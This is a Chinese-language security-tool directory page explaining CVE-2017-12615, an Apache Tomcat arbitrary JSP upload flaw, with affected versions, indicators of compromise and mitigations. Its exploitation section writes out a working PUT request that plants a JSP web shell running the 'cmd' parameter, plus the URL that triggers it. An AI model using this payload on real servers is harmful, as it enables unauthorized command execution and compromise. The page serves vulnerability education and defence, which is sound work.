Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-12615 — CVE-2017-12615 - Apache Tomcat 远程代码执行 (RCE) | Kitploit
工具/GitHubGitHub/k3ystr0k3r/cve-2017-12615
Payload生成漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubk3ystr0k3r/cve-2017-12615

CVE-2017-12615

CVE-2017-12615 - Apache Tomcat 远程代码执行 (RCE)

查看仓库
12个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-12615 - Apache Tomcat 远程代码执行

CVE-2017-12615 是一个影响 Apache Tomcat 7.0.0 至 7.0.79 在 Microsoft Windows 上运行的远程代码执行漏洞,前提是 HTTP PUT 请求已被启用。

该漏洞存在的原因是当 DefaultServlet 的 readonly 参数设置为 false 时,Tomcat 对上传的 JSP 文件处理不当。在这种情况下,未经身份验证的攻击者可以直接向 Web 服务器上传恶意 JSP 文件,并通过请求该文件执行任意 Java 代码。

由于针对配置错误的服务器进行利用极为简单,该漏洞成为最知名的 Tomcat RCE 问题之一。


受影响版本

  • Apache Tomcat 7.0.0 - 7.0.79
  • Microsoft Windows 安装
  • HTTP PUT 方法已启用
  • DefaultServlet 配置了 readonly="false"

严重性

度量指标值
CVECVE-2017-12615
CVSS v38.1(高危)
攻击向量网络
所需权限无
用户交互无
影响远程代码执行

根本原因

通常情况下,Apache Tomcat 会阻止用户上传可执行的 JSP 文件。

但是,当:

  • HTTP PUT 请求被启用
  • DefaultServlet 可写(readonly=false)
  • Tomcat 运行在 Windows 上

攻击者可以将 JSP 文件直接上传到 Web 根目录。

上传后,请求该 JSP 文件会导致 Tomcat 编译并执行它,从而在 Tomcat 服务权限下执行任意 Java 代码。


攻击流程

root@kitploit:~
Attacker
    │
    │ HTTP PUT
    ▼
Uploads malicious JSP shell
    │
    ▼
Tomcat stores file
    │
    │ HTTP GET
    ▼
Requests uploaded JSP
    │
    ▼
Tomcat compiles JSP
    │
    ▼
Java code executes
    │
    ▼
Remote Code Execution

利用过程

典型的攻击包含以下步骤:

  1. 识别存在漏洞的 Tomcat 实例。
  2. 确认 HTTP PUT 请求被允许。
  3. 上传恶意的 .jsp Web Shell。
  4. 请求已上传的 JSP 文件。
  5. 执行任意系统命令。
  6. 建立反向 Shell 或部署其他有效载荷。

如果服务器存在漏洞,则无需身份验证。


示例请求

示例 HTTP PUT 请求:

root@kitploit:~
PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream

<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

如果成功,服务器返回:

root@kitploit:~
HTTP/1.1 201 Created

然后可以通过访问以下链接执行有效载荷:

root@kitploit:~
http://victim.com/shell.jsp?cmd=whoami

示例检测

识别易受攻击系统的一种简单方法是尝试上传一个无害的测试 JSP 文件:

root@kitploit:~
PUT /test.jsp

可能的响应包括:

root@kitploit:~
201 Created

或

root@kitploit:~
204 No Content

如果上传的文件随后可以通过 HTTP 获取,那么服务器很可能存在漏洞。


影响

成功利用后,攻击者可以:

  • 执行任意操作系统命令
  • 上传持久性 Web Shell
  • 获取反向 Shell
  • 部署恶意软件或勒索软件
  • 窃取敏感信息
  • 向内部网络横向移动
  • 完全攻破受影响的 Tomcat 服务器

入侵指标

安全团队应调查以下迹象:

  • 非预期的 HTTP PUT 请求
  • 新创建的 .jsp 文件
  • 未知的 Web Shell
  • Tomcat 产生的可疑子进程
  • 反向 Shell 网络连接
  • Tomcat Web 根目录中的异常活动

缓解措施

推荐的缓解措施包括:

  • 升级 Apache Tomcat 到已修复版本。
  • 除非绝对必要,否则禁用 HTTP PUT。
  • 确保 DefaultServlet 使用 readonly="true"。
  • 限制上传权限。
  • 监控非预期的 JSP 文件创建。
  • 部署 Web 应用防火墙 (WAF)。
  • 定期审查 Tomcat 访问日志中可疑的 PUT 请求。

技术总结


参考

  • NIST 国家漏洞数据库 (NVD)
  • Apache Tomcat 安全公告
  • CVE 记录:CVE-2017-12615

免责声明

本仓库仅用于教育目的、防御性安全研究和授权的渗透测试。未经明确许可,请勿将本信息用于任何系统。

下载工具
属性值
漏洞类型任意 JSP 上传
CWECWE-434 - 危险类型文件的不受限上传
是否需要身份验证否
利用复杂度针对易受攻击配置较低
结果远程代码执行
平台Windows
服务Apache Tomcat